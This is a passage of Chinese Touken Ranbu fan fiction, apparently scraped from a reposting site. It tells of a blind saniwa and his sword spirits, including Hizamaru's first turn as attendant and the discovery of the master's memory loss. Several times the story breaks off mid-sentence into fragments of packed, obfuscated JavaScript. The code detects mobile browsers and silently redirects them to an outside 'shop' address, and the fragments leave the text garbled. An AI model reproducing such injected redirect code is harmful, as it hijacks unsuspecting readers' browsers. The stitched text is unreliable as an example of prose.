l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392250|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口,他立刻僵住了。片刻的宁静过后,太刀一帧一帧地回过头—— ——只是听见髭切说要借发夹顺手拆下来一个递过去、结果发现是玩笑还无辜中了一枪的审神者,正无言地望着他的方向。 同那双黯淡的眼睛对视三秒钟后,膝丸自暴自弃地屈服了。 髭切笑眯眯地从清显手里接过那枚发卡,临了又想起来更有趣的,把发卡重新递回去,道:“主人亲自来吧。看不见的话,还是自己上手更好一点吧?” 出现了,髭切的恶趣味……虽然已经不是第一次看见了,但每次都觉得好恐怖啊!呜哇,膝丸的脸已经红得不行了……让他这种性格的刀乖乖坐下来给主人别发卡玩真的可以吗…… 仿佛看见从年长太刀身上冒出来的黑气,加州清光心存敬畏地坐远了一点。 出乎意料的是,膝丸用十分可怕的眼神瞪着那枚发卡看了一会,竟然真的乖乖转过身坐好了。他牵着清显握住发卡的那只手靠近自己,闷声道:“……在这里。” ——……好听话!!!那件事的影响还在持续吗?!再这样下去真的不会变成主人和髭切的玩具吗! 忽略加州清光心中震惊的吐槽,清显沉默了一下,本着要与付丧神们多多接触打好关系的原则,试探性地伸出手,碰了碰膝丸的侧脸。手底下的皮肤滚烫,人类的动作微微一顿,立刻意识到了一件事—— 脸很红。是在害羞吗? ……膝丸原来是这样的性格吗?不……果然还是因为愤怒而脸红吧,指不定下一刻就要爆发了,然后突然暴起将这条走廊下的所有人数落一通…… ↑第一次正式接触近侍膝丸,就被对方狠狠数落过一次的清显默默想到。 距离审神者摔到头已经过去了快两个月,第一批近侍仍在稳定轮换中,虽然中间暴露出来不少叫人哭笑不得的问题,但总体还算风平浪静—— 直到膝丸上任的那一天。 15.兄弟 髭切与膝丸两振一具,是一对关系极好的兄弟。而或许是因为曾经砍伤过兄长一次的关系,此本丸膝丸的兄控程度已然超出了正常阈值。 他不在第一批次的近侍名单内,髭切的名字却包含其中。 “膝丸会认可髭切认可的人”——笑面青江出于这样的考量将两人拆分,实施以后却引起了意想不到的连锁反应。 完成一日的近侍工作,守夜归来的时候,髭切的状态有时候会变得很奇怪。 膝丸不止一次抓到自家兄长大半夜不睡觉,一个人悄悄跑去走廊外面看月亮。起初以为只是兄长的一时兴起,去走廊抓回来几次倒也罢了,时间一久,膝丸慢慢发现了不对劲的地方。 髭切大半夜出来,并不是为了看月亮。 虽然表面上做出了赏月的姿势,实际上心不在焉、甚至可以说得上是心事重重。经历过前代的变化,膝丸对这样的异常状态异常警惕,然而每次现身询问,都只能得到髭切回过神以后一个若无其事的笑。 “有心事?啊,是在担心这个啊。”太刀金色的眼瞳在月色底下闪闪发亮,确实如他所说一般毫无阴霾,“心事的话没有哦,只是有些事情怎么也想不起来呢……一直在房间走来走去不太好,所以来走廊看看月亮。” “什么事情?兄长可以告诉我,我也许会有印象!” 髭切像是被逗笑了,伸出双手像是揉面团一样揉他的脸。膝丸被揉得晕头转向,仍然没忘记正事,坚强地询问道:“是有关主君的事吗?” 本以为兄长会随便说点什么糊弄过去,没想到完全是多虑了。髭切坦荡地点头承认,不过至于想的到底是什么事—— “等我想起来再说吧。”髭切提议道,“厨房冰箱里好像有剩下一些大福呢,要一起过去吗,可爱丸?” “可、可爱丸……”膝丸很不争气地红了脸,跟在兄长身后往厨房走,小声道:“是膝丸。” “嗯?” 髭切好像没听清,特意回头问道:“你刚刚说了什么吗?扭捏丸?” “是膝丸啊!!阿尼甲!!” 虽然确认了兄长的异样并非是他想象的那种发展方向,膝丸仍然对髭切变成这样的原因很在意。 自从天守阁炸掉过一次以后,清显出现在本丸内部的次数越来越多,出于审视和揣度,膝丸总是在不远不近的地方悄悄观察。 有时候是和石切丸坐在观景室内听他读书,有时候是在厨房替烛台切看火——虽然不知道他能看什么火,有时候是和长谷部出门散步,更有甚时会和加州清光跑到农田那边去,似乎是随口一提还不知道本丸的田地长什么样子,就被兴冲冲地带走了——有考虑过他根本看不见吗? 被带过去了也没什么脾气的样子,双手拢在袖子里,安安静静地听近侍和当日畑当番的家伙闲聊。 身上穿的不是黑色就是灰绿色,非必要场合几乎从不主动开口说话,和以前的印象没差,像是被封在瓶子里的空心人。这样的类型,要让他用稍大一些的音量发号施令恐怕都很困难,要长出前代那样足以污染整个本丸的心魔更是天方夜谭。 说到底,他有【欲望】这个东西吗? 原先的猜疑暂且放到了一旁,膝丸的跟踪变成了纯粹的观察行动。越看,他眉头皱得越紧。 以曾被源氏代代相传的宝刀视角来看,作为本丸之主,清显身上不管哪一项都在合格线之下。 沉默寡言,身体孱弱,气势更是几近于无,毫无主家风范。过于纵容下属,只奖不罚,容易使下属生出僭越之心——此处点名加州清光——此乃驭下无道。长谷部倒也算了,烛台切和笑面青江不知为何竟然也闭上两只眼睛权当不知,甚至还要在背后推一把力。 单看他如今的样子,膝丸难以相信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396189|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾经在战场上那位虽不露面,但雷厉风行、令出如山的主君与面前这位是同一个人。 但旁观再怎么都只是旁观,真相如何得自己接触过才知道。第二批近侍轮换的名单比想象中更早开启,膝丸在轮换那天起了个大早,天还没亮就已经穿戴整齐,靠在障子门边盯着院中昏沉的夜色,神色严肃太过,甚至有些拒人于千里之外的冰冷。 窸窸窣窣,髭切的被子掀开一角。太刀在夜晚的视力简直可以用灾难来形容,但似乎他连看都不用看,就知晓弟弟脸上是什么表情。 “表情绷得太紧,会吓到主君哦。” “……兄长,我吵醒你了吗?” 髭切煞有介事地点点头:“嗯嗯。思考的声音超级吵的。” “……兄长……”膝丸叹了口气,不自然地别过头,“主君眼睛看不见,不管是什么样的表情都不碍事吧。” 髭切笑眯眯道:“那可不一定。总之,放松一点更好哦。” 膝丸伸手按了按自己的眉头,表情勉强放松了一点。犹豫了一下,他问道:“兄长……你觉得,现在的主君是个怎么样的人?” 髭切道:“我的意见只能作为参考。凡事还是要自己亲眼去看看,你也这么想,对吧?” 放松,放松。正因为是与主君私下第一次会面,才不能丢了源氏宝刀的气度,更不能给兄长丢脸。 前往天守阁的路上,膝丸在心中如此对自己说道。 曾经在战场上传达来的命令绝非作伪,主君灵力深厚也是事实。对于战局有那样强大的判断能力,一定有着不可否认的长远目光与宽广心胸,就算性格稍微弱一些也没有关系,有一个词语正巧符合现在的情况,未来可…… 膝丸拉开障子门,看清室内的状况以后,刚刚发自内心扬起一点的嘴角化为一个恐怖的弧度僵在脸上。 ——可期个鬼啊!!! 16.睡相问题 审神者的睡相不好,是近些天暴露出来的第一个问题。 第一个发现这个情况的是第一次担任近侍的加州清光,某天他火急火燎地冲到厨房门口,手足无措对着本丸常驻厨当番比划:“烛台切!主人好像身体不舒服……怎么叫都叫不醒!” 咔擦一声,太刀手里切片切得均匀美观的萝卜被剁下来一个角。来不及关照萝卜,他立刻抬手摘围裙。 院子里已经聚起好几位晨练的付丧神,加州清光的话引起了不小的骚动,众人你挤我我挤你地冲上天守阁二楼,果然看见清显从榻榻米上滚下来,蜷缩在墙角一动不动。 “如果只是普通的翻身,怎么可能滚这么远!”加州清光比划了一下铺好的榻榻米到人类身边的距离,“一定是有哪里不舒服,又憋着不肯说,所以越翻越远,才到墙角去了!” 说话期间,烛台切已经掀开了人类蒙头的被子,伸手小心的探了一下他额头的温度,没有发现什么异常。 人类睡得很沉,由于食补药补得当的缘故,脸上终于有了一点血色。最重要的是,他的状态不像是有哪里不舒服的样子,睡得很沉,好几位付丧神拉开门冲进来也没被吵醒。 “好像……只是单纯地睡得太沉了。” 几次试探检查完毕,烛台切神色奇异地抬起头,有点不确定地宣布了结论。 “欸?!”加州清光愣了一下,如释重负地滑坐在地,“太好了……我还以为是生病了……” 原来只是单纯睡相不好啊。 “最开始不是这样的呢。”大胁差在私下聊天时说道,“睡着之前是什么样,早上起来就还是那样的姿势,连翻身似乎都很少,简直像是尸体一样啊。” 呛啷—— “竟敢对主用那种失礼的形容!!” “冷静一点长谷部——” “不过,比起之前那种睡相,还是现在这样好一点啊。”烛台切说。 这种情况在某种意义上说明,天守阁对人类来说不再具有囚牢的意味,而是被慢慢划归为安全领域。那一天发生了什么到现在犹未可知,不过从审神者欲言又止的样子和膝丸想靠近又不敢靠近的态度来看,事情倒没有想象中那么严重。 这场小小的僵局最终由审神者自己出面调停,加州清光和药研五虎退趴在外头听墙角,见年轻的审神者坐在薄绿发色的太刀对面,似乎斟酌了一番词句,然后郑重地说了一句话—— “……抱歉。” 膝丸……膝丸当时恨不得找个地缝钻进去,表情简直和现在一模一样。 清显托着他的脸,习惯性地用指尖描摹一遍太刀付丧神的长相——做这件事的时候,少年的动作往往很轻,毫无焦距的双眼转向付丧神的方向,表情安静而专注。 被那双黯淡而轻柔的眼睛注视着时,常常会产生一种自己正被珍视着的微悸之感。 膝丸屏住呼吸,思维不受控制地开始跑偏。回过神来时,头上已经多了一枚小小的樱花卡子,太刀完整地露出一双金瞳,顶着一张通红的俊脸,视死如归地转头。 “喔!果然很不错呢!” 髭切兴致勃勃地旁观完了全程,用一种柔软烂漫的语调夸赞道。 “如果……阿尼甲……喜欢的话……” 不……他只是想逗你玩吧。加州清光心道。 他决定不去掺和这对兄弟的事,默默地又向审神者坐近了一点。清显听见髭切的话,心中倒生出了一点遗憾——他看不见膝丸的样子,也看不见他对面的太刀付丧神。 如若能看见,就能知道这对兄弟是在以怎样的神情在玩笑打闹。借此,是否也能再勾起一点与京彦有关的回忆呢? ……太小了。最开始接触京彦的时候,他的年龄实在太小了。 京彦走得也太早,以至于现在清显回忆起他亦父亦兄的那位兄长,先想到的永远是那场撕心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400065|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂肺的大火。越过那场大火,才能想起兄长的样貌,是一位穿着白底柳叶纹和服的、总是漫不经心笑着的青年。 那时他还是个灰扑扑的狼狈的孩子,京彦总是会一只手提领子将他提起来,另一只手拿着手帕细细擦干净他脸上的污渍。 “这么大了还在地上打滚?”京彦说,“明天不许滚了。” 清显略显拘谨地抬起脸任由青年动作,视野里垂下青年柔顺、富有光泽的长发,以及半张白皙俊朗的侧脸。 京彦总是穿着合度,举手投足都带有令清显艳羡的从容气度。 回想起来,对于京彦拙劣的模仿,大约很小的时候,在不知不觉间就已经开始了。到现在,无论是平常说话的温吞语调也好,花了数个月连夜看完的前代狐之助遗留下来的万场出阵记录也罢,总是能在不经意间从自己身上找到对方的影子。 恰如膝丸,自己曾经也有过一位很好的兄长。若发现膝丸与身为审神者的自己相处不好,髭切一定会忧心吧? 让兄长忧心,是不好的事情。 再者,他如今也明白过来,膝丸的“说教”并非出自恶意,只是因为他是一振骄傲的刀,仅此而已。再者,努力学习、争取早日成为一位如同兄长那般优秀的主君,不正是自己在追求之事吗?膝丸说的话也不无道理。 “主人!我……诶?” 人类不知道从什么时候开始,慢慢陷入了沉思。他维持着一动不动的姿势很久,直到加州清光编完了头发,凑过去向他报告结果,才发现清显垂着眼帘,正默不作声地盯着某一个点出神。 膝丸也发现了异常,侧过头往审神者那边一瞧,神色立刻变得有点紧张。 虽然他从头到尾一个字都没说、但是从一段对话里莫名其妙脱出然后忽然开始出神什么的,不会是那种情况来了吧? ——天守阁开放以后的数天以内,审神者暴露出了第二个堪称致命的问题。 17.第二个问题 这个问题最初是由药研发现的,在暴露以前整个本丸无人察觉,就算心眼子多如笑面青江也不能幸免。 起因是某天在整理核对文件的时候,审神者提出一个让药研始料未及的问题:“药研。我们本丸有十三振刀,对吗?” 药研当时正在埋头写文件,闻言推了一下眼镜,冷静地回答道:“是的,大将。” 京彦闭着眼睛背自己的刀账,又感受了一下自己体内灵力联系契约的数量,然后将这些天已经认过脸的付丧神在心里挨个对了一遍,慢慢皱起眉头。 少了一振…… “是不是少了一振?” 刺啦—— 当审神者问出这个问题的时候,药研手一抖,笔尖在还未写完的报告上拉出一条长长的墨迹。 他推了下眼镜,冷静地把作废的报告叠起来,问道:“大将。如果我没猜错的话……您说的那振刀,是‘宗三左文字’吗?” “是的。” “……大将,您还记得我们本丸有‘长期远征’这一项任务吗?” “……?” 那一刻,人类脸上出现了短暂的空白。 当天的近侍任务结束以后,短刀摇铃将本丸里的大家聚集起来,临时召开了一次短会。十多位付丧神在大广间围坐成一个圈,内番服穿得松松垮垮,姿态放松,大胁差肩膀上挂着毛巾,顺手擦了擦还在滴水的长发。 “已经快要到休息的时间了吧。”笑面青江看了看坐在人群里的药研藤四郎,“突然把大家召集起来,是发生了什么事呢?” 这振一直非常可靠的短刀抱着手臂盘腿坐好,他环视了一圈周围的付丧神,道:“长话短说。大将摔到头了。” “?”长谷部皱着眉头,“这我知道。但那已经是一个多月以前的事情了,主头上的伤口应该已经愈合了才对。有什么问题吗?” 石切丸不无担忧道:“是又不小心摔倒磕到了吗?二楼的陈设都包上了软边,主殿平常行走也很顺畅,应该不会再发生这种事才对。” “不,我不是这个意思……”药研藤四郎不自然地侧过头,眼镜边缘蔓延上可疑的白光,“大将之前摔到头以后,你们没发觉有什么不对劲的地方吗?” 近侍三人组略微回想了一下,谨慎地回答:“应该是没有的。” 一期一振作为近一个月出入天守阁最多的刃,仔细思考过后,也摇了摇头。 “我没发现任何问题。虽然只是辅助文书工作,我和主君配合起来效率也不低。”他将视线转向自家弟弟,“药研,你说的‘不对劲的地方’是?” 五分钟后,整个大广间内陷入了死一般的沉默。 “哈?!”不动行光抱着酒瓶坐起来,“你的意思是、嗝……摔傻了?” 长谷部抓起他的领子猛地摇晃:“注意言辞!你这家伙!什么时候悄悄混进来的?!” 不动行光被摇得天旋地转,差点就要吐了,当即挣扎起来,伸出手与他互掐:“什么、嗝、什么叫混进来!!我今晚一直在大广间,是你们忽然跑进来打扰我睡觉!!” “大广间是你睡觉的地方吗?!” “我在哪里睡觉是我的自由吧!!” 忽略那边烟尘滚滚的战况,药研冷静地否决了不动行光的用词:“我没这么说过。” “记忆混乱和缺损……”烛台切的眉头紧紧锁着,“完全看不出来。药研,你确定吗?” “大将之前一个人处理本丸的全部工作,‘长期远征’这一项也是他亲自设下的,现在似乎完全没有印象了。” 似乎是为了辅助思考,药研伸出手,戴着漆黑手套的指尖无意识在地上滑出几条路径清晰的线,随着他点明的异常情况越来越多,“再者,大将身体里有和我们的契约,就算出现记忆混乱的情况,也不该到现在才发现宗三不在才对。况且,这段时间本丸的天气一直有问题,似乎也不受大将控制。是体内灵力出了问题吗?还有上次……” 随着药研“况且”、“再者”、“还有”越来越多,周围的付丧神脸色越来越凝重。 石切丸沉思片刻,道:“灵力应当是没有问题的。契约联系依旧稳定,本丸内的灵力浓度相较于之前,甚至更适宜生存了。” 大太刀指了指栅格窗外一棵歪歪斜斜的花树,枯瘦的枝干被一根木杖抵着,走廊下的石灯映亮几条枝桠上迎风绽放的零星花朵。石切丸很喜欢那棵树,微笑道:“枯木逢春呢。” 五虎退有点紧张地举起手:“会不会……是主人忘记了该怎么控制呢?” 场面默了一瞬。 一期一振艰难地道:“……其实,之前整理主君摔倒前未处理的工作文件时,需要用到时政配备的终端同步影像,那时主君对它的操作方法似乎非常陌生……当时只以为主君是对现代器物不熟悉,但现在回想起来,那应当是审神者考试里的基础内容才对……” 只要起了个头,后面发现的异常就越来越多。 审神者那一摔确实摔出问题了,但他一直都没表现出来。像是那种看起来很聪明的笨蛋,甚至因为平常表现得太正常了,在今晚之前整座本丸没有一个付丧神发现。聊到最后,膝丸皱着眉头道:“也就是说……” 髭切右手握拳在掌心一敲,恍然大悟:“我们的主人,摔傻了呢!” “……阿尼甲……” 用词这么直白真的可以吗…… 药研:“我没这么说过。” 另一边的长谷部一只手撑着不动行光的后脑勺,另一只手撑着地面,头顶挂了一片黑线。他绝望地低下头:“我……我竟然分毫没有察觉……” 烛台切沉默着坐了很久,抬起头露出个和蔼的笑:“是头发太长吸走营养了吧。果然还是剪掉比较好吧?” “……这个结论是从哪得来的……?” 甚至于,清显自己都没有察觉。 对于他来说,最大的疑问原本就只有一个——自己摔倒之前,原本是打算去做什么? 据后来长谷部向他描述,那天早上拉开纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404633|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的时候,他身上是要外出的装束。能让他主动外出的一定不是小事,可记忆好像破了洞的织物,破损的地方空荡荡地漏风,无论如何也想不起来。 检疗部的人员奉八目直弥的命令轰轰烈烈地来过一趟,隔天送来几包处理好的、与以往别无二致的药材。 清显察觉到长谷部的忧心,回想起来,自己还未曾告知付丧神自己不算是秘密的体质。 “时政的医疗器械对我不起作用。”清显道,“绝大部分在我出生时代之后出现的器物,我能够使用,它们却无法作用于我。” 不过,至于其中的原因,就是不能告知付丧神的秘密了。 总之,以他的情况,身体只能静养。可能某一天早上睁开眼忽然能看见光亮,也可能这辈子就这么黑下去。 对于自己小小的失忆状态,清显判断这不影响工作,没有告知付丧神引起他们担忧的必要。直到某一次与近侍商讨本丸现在的状态可否开启出阵任务,提到某个历史节点的时候,审神者脸上又出现了那种不妙的空白神色——药研对此已经有了充足的心理准备,当天写完报告,就去找长谷部商议给审神者重补历史的相关事宜去了。 正出神时,清显感到一阵细微的凉风从眼皮上掠过。他条件反射伸出手一抓,膝丸被吓了一跳:“什、你看得见吗?!” 那双灰绿色的眼瞳迟钝地转了转,仍然处于黯淡无神的状态。意识到自己吓到人了,清显略有歉意地松开手,道:“抱歉。” “……你为什么要道歉……”膝丸有点不自然地抱起手臂,继而从走廊边上站起来,“主君是不是也到了该回去的时候了?出来太久,长谷部会唠叨的吧。” 清显点点头。随后,他的动作诡异地僵了一下,大约是察觉到自己脑后不一样的触感。 他想起来自己还没有验收加州清光的编发结果,伸手仔仔细细地探了探——原本齐腰的长发被编成一条柔顺齐整的辫子,造型也并非普通的辫子那么简单。 近侍刀在里头做了不少穿插设计,还绑了一根之前去万屋采购时带回来的红丝带,嵌在黑发之中,鲜亮却不扎眼。 虽然看不见样子,仍然可以想象加州清光的细心与手巧。清显诚恳地道:“谢谢。我很喜欢。” 加州清光抿着唇笑起来,眼底泛起一丝小小的光亮。 他眼中倒映着人类神色柔和的侧脸,有点得意、又有点害羞。像是为了掩饰羞涩,打刀很快开始喋喋不休起来:“就这样一晚上不拆开,明天早上起来就会变成卷发哦。不过主人长得很好看,就算是卷发的样子一定也很可爱。以后就专门让我来给你做造型怎么样?我会的还挺多的哦,保证主人每天早上起来都不一样……” 他扶着人类消失在走廊尽头。 膝丸有点不放心地目送两人远去,收回目光,见髭切屈膝靠在廊柱边观赏院中秋色,神色平和安宁。 察觉到弟弟的注视,太刀眨了眨眼,笑道:“只是在想,日子要是能一直这样平和下去,也不错呢。”